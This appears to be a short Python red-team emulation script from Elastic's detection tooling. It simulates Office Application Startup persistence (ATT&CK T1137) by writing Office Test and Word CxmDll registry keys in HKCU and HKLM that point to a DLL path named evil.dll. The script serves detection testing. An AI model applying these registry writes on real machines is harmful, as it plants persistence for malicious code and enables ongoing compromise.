Justin Ibarra
38 lines
1.3 KiB
Python
38 lines
1.3 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: Office Application Startup
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# RTA: office_application_startup.py
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# ATT&CK: T1137
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# Description: Modifies the registry to persist a DLL on Office Startup.
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import sys
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from . import common
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@common.requires_os(common.WINDOWS)
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def main(dll_location="c:\\windows\\temp\\evil.dll"):
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# Write evil dll to office test path:
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subkey = "Software\\Microsoft\\Office Test\\Special\\Perf"
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common.write_reg(common.HKCU, subkey, "", dll_location)
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common.write_reg(common.HKLM, subkey, "", dll_location)
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# winreg = common.get_winreg()
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# set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "", dll_location, winreg.REG_SZ, 3)
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# set_sleep_clear_key(winreg.HKEY_LOCAL_MACHINE, subkey, "", dll_location, winreg.REG_SZ, 3)
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# Turn on Office 2010 WWLIBcxm persistence
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subkey = "Software\\Microsoft\\Office\\14.0\\Word"
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common.write_reg(common.HKCU, subkey, "CxmDll", 1, common.DWORD)
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# set_sleep_clear_key(winreg.HKEY_CURRENT_USER, subkey, "CxmDll", 1, winreg.REG_DWORD, 0)
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return common.SUCCESS
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if __name__ == "__main__":
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exit(main(*sys.argv[1:]))
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